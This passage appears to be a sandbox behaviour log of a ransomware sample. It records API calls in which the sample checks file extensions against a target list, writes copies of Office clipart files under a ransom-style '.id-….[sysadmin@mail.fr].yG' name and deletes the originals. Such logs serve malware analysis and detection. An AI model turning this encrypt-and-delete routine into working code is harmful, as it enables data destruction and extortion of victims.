	[0147.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68
	[0147.673] lstrlenW (lpString=".jpg") returned 4
	[0147.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.673] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.673] lstrlenW (lpString="FD00564_.WMF") returned 12
	[0147.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0147.674] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=896) returned 1
	[0147.674] CloseHandle (hObject=0x530) returned 1
	[0147.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220
	[0147.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0147.675] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.675] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0147.676] GetLastError () returned 0x0
	[0147.676] ReadFile (in: hFile=0x530, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x380, lpOverlapped=0x0) returned 1
	[0147.689] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x390, lpOverlapped=0x0) returned 1
	[0147.691] ReadFile (in: hFile=0x530, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.691] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.691] SetEndOfFile (hFile=0x51c) returned 1
	[0147.691] CloseHandle (hObject=0x51c) returned 1
	[0147.691] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.691] SetEndOfFile (hFile=0x530) returned 1
	[0147.694] CloseHandle (hObject=0x530) returned 1
	[0147.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1
	[0147.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.696] lstrlenW (lpString=".doc") returned 4
	[0147.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.696] lstrlenW (lpString=".docx") returned 5
	[0147.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.696] lstrlenW (lpString=".pdf") returned 4
	[0147.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.696] lstrlenW (lpString=".xls") returned 4
	[0147.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.696] lstrlenW (lpString=".xlsx") returned 5
	[0147.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.696] lstrlenW (lpString=".ppt") returned 4
	[0147.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.696] lstrlenW (lpString=".zip") returned 4
	[0147.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.696] lstrlenW (lpString=".rar") returned 4
	[0147.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.696] lstrlenW (lpString=".bz2") returned 4
	[0147.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.696] lstrlenW (lpString=".7z") returned 3
	[0147.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.696] lstrlenW (lpString=".dbf") returned 4
	[0147.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.697] lstrlenW (lpString=".1cd") returned 4
	[0147.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.697] lstrlenW (lpString=".jpg") returned 4
	[0147.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.697] lstrlenW (lpString=".doc") returned 4
	[0147.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.697] lstrlenW (lpString=".docx") returned 5
	[0147.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.697] lstrlenW (lpString=".pdf") returned 4
	[0147.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.697] lstrlenW (lpString=".xls") returned 4
	[0147.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.697] lstrlenW (lpString=".xlsx") returned 5
	[0147.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.697] lstrlenW (lpString=".ppt") returned 4
	[0147.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.697] lstrlenW (lpString=".zip") returned 4
	[0147.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.698] lstrlenW (lpString=".rar") returned 4
	[0147.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.698] lstrlenW (lpString=".bz2") returned 4
	[0147.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.698] lstrlenW (lpString=".7z") returned 3
	[0147.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.698] lstrlenW (lpString=".dbf") returned 4
	[0147.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.698] lstrlenW (lpString=".1cd") returned 4
	[0147.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0147.698] lstrlenW (lpString=".jpg") returned 4
	[0147.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.698] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.698] lstrlenW (lpString="FD00775_.WMF") returned 12
	[0147.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0147.699] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=11152) returned 1
	[0147.699] CloseHandle (hObject=0x530) returned 1
	[0147.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220
	[0147.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0147.701] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.701] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0147.702] GetLastError () returned 0x0
	[0147.702] ReadFile (in: hFile=0x530, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2b90, lpOverlapped=0x0) returned 1
	[0147.936] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0147.941] ReadFile (in: hFile=0x530, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.942] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.942] SetEndOfFile (hFile=0x51c) returned 1
	[0147.942] CloseHandle (hObject=0x51c) returned 1
	[0147.942] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.942] SetEndOfFile (hFile=0x530) returned 1
	[0147.983] CloseHandle (hObject=0x530) returned 1
	[0147.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1
	[0147.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.989] lstrlenW (lpString=".doc") returned 4
	[0147.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.989] lstrlenW (lpString=".docx") returned 5
	[0147.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.989] lstrlenW (lpString=".pdf") returned 4
	[0147.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.989] lstrlenW (lpString=".xls") returned 4
	[0147.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.989] lstrlenW (lpString=".xlsx") returned 5
	[0147.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.989] lstrlenW (lpString=".ppt") returned 4
	[0147.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.989] lstrlenW (lpString=".zip") returned 4
	[0147.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.989] lstrlenW (lpString=".rar") returned 4
	[0147.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.989] lstrlenW (lpString=".bz2") returned 4
	[0147.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.989] lstrlenW (lpString=".7z") returned 3
	[0147.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.989] lstrlenW (lpString=".dbf") returned 4
	[0147.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.990] lstrlenW (lpString=".1cd") returned 4
	[0147.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.990] lstrlenW (lpString=".jpg") returned 4
	[0147.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.990] lstrlenW (lpString=".doc") returned 4
	[0147.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.990] lstrlenW (lpString=".docx") returned 5
	[0147.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.990] lstrlenW (lpString=".pdf") returned 4
	[0147.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.990] lstrlenW (lpString=".xls") returned 4
	[0147.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.990] lstrlenW (lpString=".xlsx") returned 5
	[0147.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.990] lstrlenW (lpString=".ppt") returned 4
	[0147.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.990] lstrlenW (lpString=".zip") returned 4
	[0147.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.990] lstrlenW (lpString=".rar") returned 4
	[0147.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.990] lstrlenW (lpString=".bz2") returned 4
	[0147.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.990] lstrlenW (lpString=".7z") returned 3
	[0147.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.991] lstrlenW (lpString=".dbf") returned 4
	[0147.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.991] lstrlenW (lpString=".1cd") returned 4
	[0147.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0147.991] lstrlenW (lpString=".jpg") returned 4
	[0147.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.991] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.991] lstrlenW (lpString="FD01084_.WMF") returned 12
	[0147.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0148.757] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2412) returned 1
	[0148.758] CloseHandle (hObject=0x540) returned 1
	[0148.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220
	[0148.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.080] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.081] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0149.082] GetLastError () returned 0x0
	[0149.082] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x96c, lpOverlapped=0x0) returned 1
	[0149.101] WriteFile (in: hFile=0x54c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x970, lpOverlapped=0x0) returned 1
	[0149.102] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.102] WriteFile (in: hFile=0x54c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.102] SetEndOfFile (hFile=0x54c) returned 1
	[0149.102] CloseHandle (hObject=0x54c) returned 1
	[0149.102] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.102] SetEndOfFile (hFile=0x52c) returned 1
	[0149.105] CloseHandle (hObject=0x52c) returned 1
	[0149.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1
	[0149.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.107] lstrlenW (lpString=".doc") returned 4
	[0149.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.107] lstrlenW (lpString=".docx") returned 5
	[0149.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.107] lstrlenW (lpString=".pdf") returned 4
	[0149.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.107] lstrlenW (lpString=".xls") returned 4
	[0149.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.108] lstrlenW (lpString=".xlsx") returned 5
	[0149.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.108] lstrlenW (lpString=".ppt") returned 4
	[0149.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.108] lstrlenW (lpString=".zip") returned 4
	[0149.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.108] lstrlenW (lpString=".rar") returned 4
	[0149.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.108] lstrlenW (lpString=".bz2") returned 4
	[0149.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.108] lstrlenW (lpString=".7z") returned 3
	[0149.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.108] lstrlenW (lpString=".dbf") returned 4
	[0149.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.108] lstrlenW (lpString=".1cd") returned 4
	[0149.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.108] lstrlenW (lpString=".jpg") returned 4
	[0149.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.109] lstrlenW (lpString=".doc") returned 4
	[0149.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.109] lstrlenW (lpString=".docx") returned 5
	[0149.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.109] lstrlenW (lpString=".pdf") returned 4
	[0149.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.109] lstrlenW (lpString=".xls") returned 4
	[0149.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.109] lstrlenW (lpString=".xlsx") returned 5
	[0149.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.109] lstrlenW (lpString=".ppt") returned 4
	[0149.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.109] lstrlenW (lpString=".zip") returned 4
	[0149.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.109] lstrlenW (lpString=".rar") returned 4
	[0149.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.109] lstrlenW (lpString=".bz2") returned 4
	[0149.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.110] lstrlenW (lpString=".7z") returned 3
	[0149.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.110] lstrlenW (lpString=".dbf") returned 4
	[0149.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.110] lstrlenW (lpString=".1cd") returned 4
